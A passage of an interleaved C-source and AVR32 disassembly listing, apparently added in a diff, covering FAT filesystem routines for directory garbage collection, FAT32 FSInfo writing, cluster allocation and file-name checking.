u16_pos_old ) + { + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) +800054e2: f0 1f 00 1c mcall 80005550 +800054e6: c2 c0 breq 8000553e + return false; + memset( fat_get_ptr_entry() , 0 , 32 ); +800054e8: f0 1f 00 1c mcall 80005558 +800054ec: 0a 9a mov r10,r5 +800054ee: 08 9b mov r11,r4 +800054f0: f0 1f 00 1b mcall 8000555c + fat_cache_mark_sector_as_dirty(); +800054f4: f0 1f 00 1b mcall 80005560 + fs_g_nav_fast.u16_entry_pos_sel_file++; +800054f8: 8c 18 ld.sh r8,r6[0x2] +800054fa: 2f f8 sub r8,-1 +800054fc: ac 18 st.h r6[0x2],r8 + { + // The entry is free, then it is the end of entry list +fat_garbage_collector_entry_endofdir: + // Fill empty entry in old list + fs_g_nav_fast.u16_entry_pos_sel_file=u16_pos_new; + while( fs_g_nav_fast.u16_entry_pos_sel_file != u16_pos_old ) +800054fe: f0 07 19 00 cp.h r7,r8 +80005502: cf 01 brne 800054e2 +80005504: c1 f8 rjmp 80005542 + fs_g_nav_fast.u16_entry_pos_sel_file++; + } + return true; // End of garbage + } + + if ( FS_ENTRY_DEL != *ptr_entry ) +80005506: e8 08 18 00 cp.b r8,r4 +8000550a: c1 70 breq 80005538 + { + // entry valid + if( u16_pos_old != u16_pos_new ) +8000550c: ec 07 19 00 cp.h r7,r6 +80005510: c1 20 breq 80005534 + { + // A free space exist then move entry + memcpy_ram2ram( entry, ptr_entry, FS_SIZE_FILE_ENTRY ); +80005512: 04 9a mov r10,r2 +80005514: 18 9b mov r11,r12 +80005516: 1a 9c mov r12,sp +80005518: f0 1f 00 13 mcall 80005564 + fs_g_nav_fast.u16_entry_pos_sel_file=u16_pos_new; +8000551c: aa 16 st.h r5[0x2],r6 + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) +8000551e: f0 1f 00 0d mcall 80005550 +80005522: c0 e0 breq 8000553e + return false; + memcpy_ram2ram( fat_get_ptr_entry(), entry, FS_SIZE_FILE_ENTRY ); +80005524: f0 1f 00 0d mcall 80005558 +80005528: 04 9a mov r10,r2 +8000552a: 1a 9b mov r11,sp +8000552c: f0 1f 00 0e mcall 80005564 + fat_cache_mark_sector_as_dirty(); +80005530: f0 1f 00 0c mcall 80005560 + } + u16_pos_new++; +80005534: 2f f6 sub r6,-1 +80005536: 5c 86 casts.h r6 + } + u16_pos_old++; +80005538: 2f f7 sub r7,-1 +8000553a: 5c 87 casts.h r7 + } // end of while(1) +8000553c: cb bb rjmp 800054b2 +8000553e: 30 0c mov r12,0 +80005540: c0 28 rjmp 80005544 +80005542: 30 1c mov r12,1 +} +80005544: 2f 8d sub sp,-32 +80005546: e3 cd 80 fc ldm sp++,r2-r7,pc +8000554a: 00 00 add r0,r0 +8000554c: 00 00 add r0,r0 +8000554e: 06 d0 st.w --r3,r0 +80005550: 80 00 ld.sh r0,r0[0x0] +80005552: 4e 5c lddpc r12,800056e4 +80005554: 00 00 add r0,r0 +80005556: 06 d4 st.w --r3,r4 +80005558: 80 00 ld.sh r0,r0[0x0] +8000555a: 42 64 lddsp r4,sp[0x98] +8000555c: 80 00 ld.sh r0,r0[0x0] +8000555e: 7b 42 ld.w r2,sp[0x50] +80005560: 80 00 ld.sh r0,r0[0x0] +80005562: 46 0c lddsp r12,sp[0x180] +80005564: 80 00 ld.sh r0,r0[0x0] +80005566: 79 fa ld.w r10,r12[0x7c] + +80005568 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_fat32_FSInfo( uint32_t u32_nb_free_cluster ) +{ +80005568: eb cd 40 c0 pushm r6-r7,lr +8000556c: 20 1d sub sp,4 +8000556e: 50 0c stdsp sp[0x0],r12 + // Init sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; +80005570: 49 c8 lddpc r8,800055e0 +80005572: 90 c9 ld.uh r9,r8[0x8] +80005574: 70 4a ld.w r10,r8[0x10] +80005576: 49 c8 lddpc r8,800055e4 +80005578: 12 1a sub r10,r9 +8000557a: 91 0a st.w r8[0x0],r10 + + if( !fat_cache_read_sector( false )) +8000557c: 30 0c mov r12,0 +8000557e: f0 1f 00 1b mcall 800055e8 +80005582: c2 c0 breq 800055da + return false; + fat_cache_mark_sector_as_dirty(); +80005584: f0 1f 00 1a mcall 800055ec + fat_cache_clear(); +80005588: f0 1f 00 1a mcall 800055f0 + + // Fill sector + // offset 00-04, This lead signature + memcpy_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) ); +8000558c: 49 a7 lddpc r7,800055f4 +8000558e: 30 46 mov r6,4 +80005590: 0c 9a mov r10,r6 +80005592: 49 ab lddpc r11,800055f8 +80005594: 0e 9c mov r12,r7 +80005596: f0 1f 00 1a mcall 800055fc + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + memcpy_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig) ); +8000559a: 0c 9a mov r10,r6 +8000559c: 49 9b lddpc r11,80005600 +8000559e: ee cc fe 1c sub r12,r7,-484 +800055a2: f0 1f 00 17 mcall 800055fc + // offset 488-491, free cluster count (by default NO value) + fs_g_sector[488] = LSB0(u32_nb_free_cluster); +800055a6: 1b b9 ld.ub r9,sp[0x3] +800055a8: ef 69 01 e8 st.b r7[488],r9 + fs_g_sector[489] = LSB1(u32_nb_free_cluster); +800055ac: 1b a9 ld.ub r9,sp[0x2] +800055ae: ef 69 01 e9 st.b r7[489],r9 + fs_g_sector[490] = LSB2(u32_nb_free_cluster); +800055b2: 1b 99 ld.ub r9,sp[0x1] +800055b4: ef 69 01 ea st.b r7[490],r9 + fs_g_sector[491] = LSB3(u32_nb_free_cluster); +800055b8: 1b 88 ld.ub r8,sp[0x0] +800055ba: ef 68 01 eb st.b r7[491],r8 + // offset 492-495, indicates the cluster number at which the driver should start looking for free clusters (by default NO value) + memset( &fs_g_sector[492] , 0xFF , 4 ); +800055be: 0c 9a mov r10,r6 +800055c0: e0 6b 00 ff mov r11,255 +800055c4: ee cc fe 14 sub r12,r7,-492 +800055c8: f0 1f 00 0f mcall 80005604 + // offset 496-509, reserved (fill with 0) + // offset 510-511, Signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; +800055cc: 35 58 mov r8,85 +800055ce: ef 68 01 fe st.b r7[510],r8 + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; +800055d2: 3a a8 mov r8,-86 +800055d4: ef 68 01 ff st.b r7[511],r8 +800055d8: 30 1c mov r12,1 + return true; +} +800055da: 2f fd sub sp,-4 +800055dc: e3 cd 80 c0 ldm sp++,r6-r7,pc +800055e0: 00 00 add r0,r0 +800055e2: 06 84 andn r4,r3 +800055e4: 00 00 add r0,r0 +800055e6: 04 40 or r0,r2 +800055e8: 80 00 ld.sh r0,r0[0x0] +800055ea: 48 2c lddpc r12,800055f0 +800055ec: 80 00 ld.sh r0,r0[0x0] +800055ee: 46 0c lddsp r12,sp[0x180] +800055f0: 80 00 ld.sh r0,r0[0x0] +800055f2: 48 14 lddpc r4,800055f4 +800055f4: 00 00 add r0,r0 +800055f6: 04 84 andn r4,r2 +800055f8: 80 00 ld.sh r0,r0[0x0] +800055fa: 7e d0 ld.w r0,pc[0x34] +800055fc: 80 00 ld.sh r0,r0[0x0] +800055fe: 79 fa ld.w r10,r12[0x7c] +80005600: 80 00 ld.sh r0,r0[0x0] +80005602: 7e e4 ld.w r4,pc[0x38] +80005604: 80 00 ld.sh r0,r0[0x0] +80005606: 7b 42 ld.w r2,sp[0x50] + +80005608 : +//! fs_g_seg.u32_addr Return the first cluster value of the new cluster list +//! fs_g_seg.u32_size_or_pos The number of sector remainning (no allocated sectors, because disk fragmented or disk full) +//! @endverbatim +//! +Bool fat_allocfreespace( void ) +{ +80005608: d4 31 pushm r0-r7,lr +8000560a: 20 1d sub sp,4 + // Flag to signal the first step which search the first free cluster of the new list + Bool first_cluster_free_is_found = false; + // If true then use a quick procedure but don't scan all FAT else use a slow proceudre but scan all FAT + Bool b_quick_find = true; + + if( Is_fat32 ) +8000560c: 4c d8 lddpc r8,80005740 +8000560e: 11 89 ld.ub r9,r8[0x0] +80005610: 30 38 mov r8,3 +80005612: f0 09 18 00 cp.b r9,r8 +80005616: c0 61 brne 80005622 + { + // Clear info about free space + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) +80005618: 3f fc mov r12,-1 +8000561a: f0 1f 00 4b mcall 80005744 +8000561e: e0 80 00 8d breq 80005738 + return false; + } + + if( 0xFF == MSB0(fs_g_seg.u32_addr) ) +80005622: 4c a1 lddpc r1,80005748 +80005624: 03 89 ld.ub r9,r1[0x0] +80005626: 3f f8 mov r8,-1 +80005628: f0 09 18 00 cp.b r9,r8 +8000562c: c0 71 brne 8000563a +8000562e: 30 19 mov r9,1 +80005630: 50 09 stdsp sp[0x0],r9 + { +fat_allocfreespace_start: + // New cluster list, then research at the beginning of FAT + fs_g_cluster.u32_pos = 2; +80005632: 30 29 mov r9,2 +80005634: 4c 68 lddpc r8,8000574c +80005636: 91 09 st.w r8[0x0],r9 +80005638: c0 88 rjmp 80005648 + }else{ + // Continue the cluster list then start after the end of the cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr+1; +8000563a: 4c 48 lddpc r8,80005748 +8000563c: 70 09 ld.w r9,r8[0x0] +8000563e: 2f f9 sub r9,-1 +80005640: 4c 38 lddpc r8,8000574c +80005642: 91 09 st.w r8[0x0],r9 +80005644: 30 18 mov r8,1 +80005646: 50 08 stdsp sp[0x0],r8 + } + + fat_clear_info_fat_mod(); +80005648: f0 1f 00 42 mcall 80005750 + + // Read ALL FAT1 + for( +8000564c: 4c 08 lddpc r8,8000574c +8000564e: 70 09 ld.w r9,r8[0x0] +80005650: 4c 18 lddpc r8,80005754 +80005652: 70 38 ld.w r8,r8[0xc] +80005654: 10 39 cp.w r9,r8 +80005656: c6 32 brcc 8000571c +80005658: 30 05 mov r5,0 + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) +8000565a: 0a 90 mov r0,r5 + return false; + + if ( 0 == fs_g_cluster.u32_val ) +8000565c: 4b c7 lddpc r7,8000574c + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; + } + else + { + // The next cluster is not free + if( true == first_cluster_free_is_found ) +8000565e: 30 12 mov r2,1 + } + + // At the new cluster position, set the flag end of list + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; // Select the new cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // Cluster value is the flag end of list + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) +80005660: 30 13 mov r3,1 + return false; + + // Compute the remaining sectors + if ( fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus ) +80005662: 4b a4 lddpc r4,80005748 +80005664: 4b c6 lddpc r6,80005754 + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) +80005666: 00 9c mov r12,r0 +80005668: f0 1f 00 3c mcall 80005758 +8000566c: c6 60 breq 80005738 + return false; + + if ( 0 == fs_g_cluster.u32_val ) +8000566e: 6e 18 ld.w r8,r7[0x4] +80005670: 58 08 cp.w r8,0 +80005672: c4 21 brne 800056f6 + { + // A free cluster is found + fs_g_cluster.u32_val = fs_g_cluster.u32_pos; // value of the cluster is the new free cluster +80005674: 6e 08 ld.w r8,r7[0x0] +80005676: 8f 18 st.w r7[0x4],r8 + if( true == first_cluster_free_is_found ) +80005678: e4 05 18 00 cp.b r5,r2 +8000567c: c0 81 brne 8000568c + { + // Link the new cluster with previous cluster + fs_g_cluster.u32_pos--; // select the previous cluster +8000567e: 20 18 sub r8,1 +80005680: 8f 08 st.w r7[0x0],r8 + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) +80005682: 06 9c mov r12,r3 +80005684: f0 1f 00 35 mcall 80005758 +80005688: c1 f1 brne 800056c6 +8000568a: c5 78 rjmp 80005738 + else + { + // It is the first cluster of the new list + first_cluster_free_is_found = true; + + if( 0xFF != MSB0(fs_g_seg.u32_addr) ) +8000568c: 03 88 ld.ub r8,r1[0x0] +8000568e: 3f f9 mov r9,-1 +80005690: f2 08 18 00 cp.b r8,r9 +80005694: c1 70 breq 800056c2 + { + // Link this new cluster with the current cluster list + // Select the last cluster of the current list + if( 0 == fs_g_seg.u32_addr ) +80005696: 68 08 ld.w r8,r4[0x0] +80005698: 58 08 cp.w r8,0 +8000569a: c0 f1 brne 800056b8 + { // The current cluster list is the cluster list of root directory + if( FS_TYPE_FAT_32 != fs_g_nav_fast.u8_type_fat ) +8000569c: 4a 98 lddpc r8,80005740 +8000569e: 11 89 ld.ub r9,r8[0x0] +800056a0: 30 38 mov r8,3 +800056a2: f0 09 18 00 cp.b r9,r8 +800056a6: c0 60 breq 800056b2 + { + // Impossible to increment ROOT DIR size of FAT12 or FAT16 + fs_g_status = FS_ERR_NO_FREE_SPACE; +800056a8: 31 b9 mov r9,27 +800056aa: 4a d8 lddpc r8,8000575c +800056ac: b0 89 st.b r8[0x0],r9 +800056ae: 30 0c mov r12,0 + return false; +800056b0: c4 58 rjmp 8000573a + } + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; +800056b2: 6c 68 ld.w r8,r6[0x18] +800056b4: 8f 08 st.w r7[0x0],r8 +800056b6: c0 28 rjmp 800056ba + } + else + { + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; +800056b8: 8f 08 st.w r7[0x0],r8 + } + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) +800056ba: 06 9c mov r12,r3 +800056bc: f0 1f 00 27 mcall 80005758 +800056c0: c3 c0 breq 80005738 + return false; + } // else no writing the first cluster value in FAT because no current cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // save the first cluster value +800056c2: 6e 18 ld.w r8,r7[0x4] +800056c4: 89 08 st.w r4[0x0],r8 + } + + // At the new cluster position, set the flag end of list + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; // Select the new cluster +800056c6: 6e 18 ld.w r8,r7[0x4] +800056c8: 8f 08 st.w r7[0x0],r8 + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // Cluster value is the flag end of list +800056ca: e0 69 ff ff mov r9,65535 +800056ce: ea 19 0f ff orh r9,0xfff +800056d2: 8f 19 st.w r7[0x4],r9 + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) +800056d4: 06 9c mov r12,r3 +800056d6: f0 1f 00 21 mcall 80005758 +800056da: c2 f0 breq 80005738 + return false; + + // Compute the remaining sectors + if ( fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus ) +800056dc: 68 19 ld.w r9,r4[0x4] +800056de: 0d 98 ld.ub r8,r6[0x1] +800056e0: 10 39 cp.w r9,r8 +800056e2: e0 8b 00 06 brhi 800056ee + { + fs_g_seg.u32_size_or_pos = 0; // All space found +800056e6: 30 09 mov r9,0 +800056e8: 49 88 lddpc r8,80005748 +800056ea: 91 19 st.w r8[0x4],r9 + break; // Stop loop +800056ec: c2 38 rjmp 80005732 + } + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; +800056ee: 10 19 sub r9,r8 +800056f0: 89 19 st.w r4[0x4],r9 +800056f2: 06 95 mov r5,r3 +800056f4: c0 b8 rjmp 8000570a + } + else + { + // The next cluster is not free + if( true == first_cluster_free_is_found ) +800056f6: e4 05 18 00 cp.b r5,r2 +800056fa: c1 c0 breq 80005732 + } + else + { + // It is the first step to search the first free cluster + // then ignore this cluster no free and continue search + if( b_quick_find ) +800056fc: 40 08 lddsp r8,sp[0x0] +800056fe: 58 08 cp.w r8,0 +80005700: c0 50 breq 8000570a + { + fs_g_cluster.u32_pos += 500; +80005702: 6e 08 ld.w r8,r7[0x0] +80005704: f0 c8 fe 0c sub r8,r8,-500 +80005708: 8f 08 st.w r7[0x0],r8 + fat_clear_info_fat_mod(); + + // Read ALL FAT1 + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) +8000570a: 6e 08 ld.w r8,r7[0x0] +8000570c: 2f f8 sub r8,-1 +8000570e: 8f 08 st.w r7[0x0],r8 + } + + fat_clear_info_fat_mod(); + + // Read ALL FAT1 + for( +80005710: 6c 39 ld.w r9,r6[0xc] +80005712: 10 39 cp.w r9,r8 +80005714: fe 9b ff a9 brhi 80005666 + } + } + } + + // End of alloc + if( false == first_cluster_free_is_found ) +80005718: 58 05 cp.w r5,0 +8000571a: c0 c1 brne 80005732 + { + if( b_quick_find ) +8000571c: 40 09 lddsp r9,sp[0x0] +8000571e: 58 09 cp.w r9,0 +80005720: c0 40 breq 80005728 +80005722: 30 08 mov r8,0 +80005724: 50 08 stdsp sp[0x0],r8 +80005726: c8 6b rjmp 80005632 + { + // Retry in normal mode to scann all FAT (= no quick mode) + b_quick_find = false; + goto fat_allocfreespace_start; + } + fs_g_status = FS_ERR_NO_FREE_SPACE; // NO FREE CLUSTER FIND +80005728: 31 b9 mov r9,27 +8000572a: 48 d8 lddpc r8,8000575c +8000572c: b0 89 st.b r8[0x0],r9 +8000572e: 30 0c mov r12,0 + return false; +80005730: c0 58 rjmp 8000573a + } + + return fat_update_fat2(); +80005732: f0 1f 00 0c mcall 80005760 +80005736: c0 28 rjmp 8000573a +80005738: 30 0c mov r12,0 +} +8000573a: 2f fd sub sp,-4 +8000573c: d8 32 popm r0-r7,pc +8000573e: 00 00 add r0,r0 +80005740: 00 00 add r0,r0 +80005742: 06 d0 st.w --r3,r0 +80005744: 80 00 ld.sh r0,r0[0x0] +80005746: 55 68 stdsp sp[0x158],r8 +80005748: 00 00 add r0,r0 +8000574a: 07 2c ld.uh r12,r3++ +8000574c: 00 00 add r0,r0 +8000574e: 07 24 ld.uh r4,r3++ +80005750: 80 00 ld.sh r0,r0[0x0] +80005752: 51 ac stdsp sp[0x68],r12 +80005754: 00 00 add r0,r0 +80005756: 06 84 andn r4,r3 +80005758: 80 00 ld.sh r0,r0[0x0] +8000575a: 49 40 lddpc r0,800057a8 +8000575c: 00 00 add r0,r0 +8000575e: 06 d4 st.w --r3,r4 +80005760: 80 00 ld.sh r0,r0[0x0] +80005762: 52 38 stdsp sp[0x8c],r8 + +80005764 : +//! @verbatim +//! OUT: Initialise the system on the last alloced free entry +//! @endverbatim +//! +Bool fat_alloc_entry_free( uint8_t u8_nb_entry ) +{ +80005764: d4 31 pushm r0-r7,lr +80005766: 20 1d sub sp,4 + uint8_t u8_nb_entry_save; + + u8_nb_entry_save = u8_nb_entry; + + // Start at the beginning of dir + fs_g_nav_fast.u16_entry_pos_sel_file=0; +80005768: 30 09 mov r9,0 +8000576a: 4a 38 lddpc r8,800057f4 +8000576c: b0 19 st.h r8[0x2],r9 +8000576e: 18 92 mov r2,r12 +80005770: 30 04 mov r4,0 + while( 1 ) + { + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) + { + if( FS_ERR_OUT_LIST != fs_g_status ) +80005772: 4a 26 lddpc r6,800057f8 +80005774: 31 a3 mov r3,26 + return false; + + // The position is outside the cluster list + // then alloc a new sector (= new cluster) + // Remark: The fs_g_seg.u32_addr contains the last cluster value of a directory list to link with the new list + fs_g_seg.u32_size_or_pos = 1; +80005776: 4a 21 lddpc r1,800057fc +80005778: 30 15 mov r5,1 + if( b_garbage_collector_used ) + return false; + if( !fat_garbage_collector_entry()) + return false; + b_garbage_collector_used = true; + fs_g_nav_fast.u16_entry_pos_sel_file=0; +8000577a: 10 97 mov r7,r8 +8000577c: 12 90 mov r0,r9 +8000577e: 50 0c stdsp sp[0x0],r12 + fs_g_nav_fast.u16_entry_pos_sel_file=0; + // Loop in directory + while( 1 ) + { + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) +80005780: f0 1f 00 20 mcall 80005800 +80005784: c1 61 brne 800057b0 + { + if( FS_ERR_OUT_LIST != fs_g_status ) +80005786: 0d 88 ld.ub r8,r6[0x0] +80005788: e6 08 18 00 cp.b r8,r3 +8000578c: c3 11 brne 800057ee + return false; + + // The position is outside the cluster list + // then alloc a new sector (= new cluster) + // Remark: The fs_g_seg.u32_addr contains the last cluster value of a directory list to link with the new list + fs_g_seg.u32_size_or_pos = 1; +8000578e: 83 15 st.w r1[0x4],r5 + if( !fat_allocfreespace()) +80005790: f0 1f 00 1d mcall 80005804 +80005794: c0 a1 brne 800057a8 + { + // Garbage collector on entry file + if( b_garbage_collector_used ) +80005796: 58 04 cp.w r4,0 +80005798: c2 b1 brne 800057ee + return false; + if( !fat_garbage_collector_entry()) +8000579a: f0 1f 00 1c mcall 80005808 +8000579e: c2 80 breq 800057ee + return false; + b_garbage_collector_used = true; + fs_g_nav_fast.u16_entry_pos_sel_file=0; +800057a0: ae 10 st.h r7[0x2],r0 +800057a2: 40 02 lddsp r2,sp[0x0] +800057a4: 0a 94 mov r4,r5 + u8_nb_entry = u8_nb_entry_save; + continue; +800057a6: ce db rjmp 80005780 + } + + // Clean this new cluster + // Remark: The fs_g_seg.u32_addr contains the new cluster value + if( !fat_clear_cluster()) +800057a8: f0 1f 00 19 mcall 8000580c +800057ac: ce a1 brne 80005780 +800057ae: c2 08 rjmp 800057ee + + continue; // Rescan the directory list to find the new allocated sector + } + + // Check entry + ptr_entry = fat_get_ptr_entry(); +800057b0: f0 1f 00 18 mcall 80005810 + if ( FS_ENTRY_END == *ptr_entry ) +800057b4: 19 88 ld.ub r8,r12[0x0] +800057b6: 30 09 mov r9,0 +800057b8: f2 08 18 00 cp.b r8,r9 +800057bc: c0 61 brne 800057c8 + { // The entry is free + u8_nb_entry--; +800057be: 20 12 sub r2,1 +800057c0: 5c 52 castu.b r2 + if( 0 == u8_nb_entry ) +800057c2: c0 31 brne 800057c8 +800057c4: 30 1c mov r12,1 +800057c6: c1 58 rjmp 800057f0 + return true; // All free entry is found + } + } + + // go to next entry + fs_g_nav_fast.u16_entry_pos_sel_file++; +800057c8: 8e 18 ld.sh r8,r7[0x2] +800057ca: 2f f8 sub r8,-1 +800057cc: 5c 88 casts.h r8 +800057ce: ae 18 st.h r7[0x2],r8 + if( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) +800057d0: cd 81 brne 80005780 + { + // Here, the directory have the maximum size + // Garbage collector on entry file + if( b_garbage_collector_used ) +800057d2: 58 04 cp.w r4,0 +800057d4: c0 60 breq 800057e0 + { + // Directory full (FAT Norm limit directory to 65535 entrys) + fs_g_status = FS_ERR_NO_FREE_SPACE; +800057d6: 31 b9 mov r9,27 +800057d8: 48 88 lddpc r8,800057f8 +800057da: b0 89 st.b r8[0x0],r9 +800057dc: 30 0c mov r12,0 + return false; +800057de: c0 98 rjmp 800057f0 + } + if( !fat_garbage_collector_entry()) +800057e0: f0 1f 00 0a mcall 80005808 +800057e4: c0 50 breq 800057ee + return false; + b_garbage_collector_used = true; + fs_g_nav_fast.u16_entry_pos_sel_file=0; +800057e6: ae 10 st.h r7[0x2],r0 +800057e8: 40 02 lddsp r2,sp[0x0] +800057ea: 0a 94 mov r4,r5 +800057ec: cc ab rjmp 80005780 +800057ee: 30 0c mov r12,0 + u8_nb_entry = u8_nb_entry_save; + continue; + } + } // end of while(1) +} +800057f0: 2f fd sub sp,-4 +800057f2: d8 32 popm r0-r7,pc +800057f4: 00 00 add r0,r0 +800057f6: 06 d0 st.w --r3,r0 +800057f8: 00 00 add r0,r0 +800057fa: 06 d4 st.w --r3,r4 +800057fc: 00 00 add r0,r0 +800057fe: 07 2c ld.uh r12,r3++ +80005800: 80 00 ld.sh r0,r0[0x0] +80005802: 4e 5c lddpc r12,80005994 +80005804: 80 00 ld.sh r0,r0[0x0] +80005806: 56 08 stdsp sp[0x180],r8 +80005808: 80 00 ld.sh r0,r0[0x0] +8000580a: 54 a0 stdsp sp[0x128],r0 +8000580c: 80 00 ld.sh r0,r0[0x0] +8000580e: 51 c4 stdsp sp[0x70],r4 +80005810: 80 00 ld.sh r0,r0[0x0] +80005812: 42 64 lddsp r4,sp[0x98] + +80005814 : +//! +//! @return number of entry file to strore the name (short + long name)
+//! if name incorrect then 0 is returned. +//! +uint8_t fat_check_name( FS_STRING sz_name ) +{ +80005814: d4 31 pushm r0-r7,lr +80005816: 18 94 mov r4,r12 + if( fat_check_eof_name( u16_character ) ) + break; + + for( u8_j = 0 ; u8_j < sizeof(fs_s_tab_incorrect_char) ; u8_j++ ) + { + if( u16_character == fs_s_tab_incorrect_char[u8_j] ) +80005818: 33 a2 mov r2,58 +8000581a: 30 d5 mov r5,13 +8000581c: 30 23 mov r3,2 +8000581e: 49 86 lddpc r6,8000587c +80005820: ec c1 ff ff sub r1,r6,-1 +//! @param sz_name original name to create +//! +//! @return number of entry file to strore the name (short + long name)
+//! if name incorrect then 0 is returned. +//! +uint8_t fat_check_name( FS_STRING sz_name ) +80005824: 2f 96 sub r6,-7 + return 0; // incorrect character + } + } + if( 0 == u8_i ) + { + u8_nb_entry++; +80005826: 0a 90 mov r0,r5 + { + if( Is_unicode ) + { + u16_character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_character = sz_name[0]; +80005828: 09 87 ld.ub r7,r4[0x0] + } + if( fat_check_eof_name( u16_character ) ) +8000582a: 0e 9c mov r12,r7 +8000582c: f0 1f 00 15 mcall 80005880 +80005830: c1 a1 brne 80005864 + break; + + for( u8_j = 0 ; u8_j < sizeof(fs_s_tab_incorrect_char) ; u8_j++ ) + { + if( u16_character == fs_s_tab_incorrect_char[u8_j] ) +80005832: ee 02 19 00 cp.h r2,r7 +80005836: c0 60 breq 80005842 +80005838: 02 98 mov r8,r1 +8000583a: 11 89 ld.ub r9,r8[0x0] +8000583c: ee 09 19 00 cp.h r9,r7 +80005840: c0 61 brne 8000584c + { + fs_g_status = FS_ERR_INCORRECT_NAME; +80005842: 31 c9 mov r9,28 +80005844: 49 08 lddpc r8,80005884 +80005846: b0 89 st.b r8[0x0],r9 +80005848: 30 03 mov r3,0 + return 0; // incorrect character +8000584a: c1 68 rjmp 80005876 +8000584c: 2f f8 sub r8,-1 + u16_character = sz_name[0]; + } + if( fat_check_eof_name( u16_character ) ) + break; + + for( u8_j = 0 ; u8_j < sizeof(fs_s_tab_incorrect_char) ; u8_j++ ) +8000584e: 0c 38 cp.w r8,r6 +80005850: cf 51 brne 8000583a + { + fs_g_status = FS_ERR_INCORRECT_NAME; + return 0; // incorrect character + } + } + if( 0 == u8_i ) +80005852: 58 05 cp.w r5,0 +80005854: c0 41 brne 8000585c + { + u8_nb_entry++; +80005856: 2f f3 sub r3,-1 +80005858: 5c 53 castu.b r3 +8000585a: 00 95 mov r5,r0 + u8_i = FS_SIZE_LFN_ENTRY; + } + u8_i--; +8000585c: 20 15 sub r5,1 +8000585e: 5c 55 castu.b r5 + sz_name += (Is_unicode? 2 : 1 ); +80005860: 2f f4 sub r4,-1 + } +80005862: ce 3b rjmp 80005828 + if( 0x14 < u8_nb_entry ) +80005864: 31 48 mov r8,20 +80005866: f0 03 18 00 cp.b r3,r8 +8000586a: e0 88 00 06 brls 80005876 + { + fs_g_status = FS_ERR_NAME_TOO_LARGE; +8000586e: 32 b9 mov r9,43 +80005870: 48 58 lddpc r8,80005884 +80005872: b0 89 st.b r8[0x0],r9 +80005874: 30 03 mov r3,0 + return 0; // Name too large + } + return u8_nb_entry; +} +80005876: 06 9c mov r12,r3 +80005878: d8 32 popm r0-r7,pc +8000587a: 00 00 add r0,r0 +8000587c: 80 00 ld.sh r0,r0[0x0] +8000587e: 7e d4 ld.w r4,pc[0x34] +80005880: 80 00 ld.sh r0,r0[0x0] +80005882: 42 3c lddsp r12,sp[0x8c] +80005884: 00 00 add r0,r0 +80005886: 06 d4 st.w --r3,r4 + +80005888 : +//! false to write in internal cache +//! +//! @return short name CRC +//! +uint8_t fat_create_short_entry_name( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ) +{ +80005888: d4 31 pushm r0-r7,lr +8000588a: 20 8d sub sp,32 +8000588c: 18 94 mov r4,r12 +8000588e: 50 2b stdsp sp[0x8],r11 +80005890: 14 97 mov r7,r10 +80005892: 50 09 stdsp sp[0x0],r9 + PTR_CACHE ptr_entry = 0; + uint8_t u8_i, u8_step, character; + uint8_t crc; + uint8_t nb_digit; + + if( !mode ) +80005894: 58 09 cp.w r9,0 +80005896: c0 40 breq 8000589e +80005898: 30 0a mov r10,0 +8000589a: 50 1a stdsp sp[0x4],r10 +8000589c: c0 68 rjmp 800058a8 + { + // Modify internal cache to create short name entry in the current entry + fat_cache_mark_sector_as_dirty(); +8000589e: f0 1f 00 65 mcall 80005a30 + // Get pointer on current entry + ptr_entry = fat_get_ptr_entry(); +800058a2: f0 1f 00 65 mcall 80005a34 +800058a6: 50 1c stdsp sp[0x4],r12 + } + + // Compute the digit number + if( nb < 10 ) nb_digit = 1; +800058a8: 30 98 mov r8,9 +800058aa: f0 07 18 00 cp.b r7,r8 +800058ae: e0 8b 00 04 brhi 800058b6 +800058b2: 30 18 mov r8,1 +800058b4: c0 88 rjmp 800058c4 + else if( nb < 100 ) nb_digit = 2; +800058b6: 36 38 mov r8,99 +800058b8: ee 08 18 00 cp.b r8,r7 +800058bc: f9 b8 02 02 movhs r8,2 +800058c0: f9 b8 03 03 movlo r8,3 + } + character = ' '; + } + if( 5 == u8_step ) + { // step 4 = add unit 1 of number + character = '0'+(nb%10); +800058c4: e0 6a 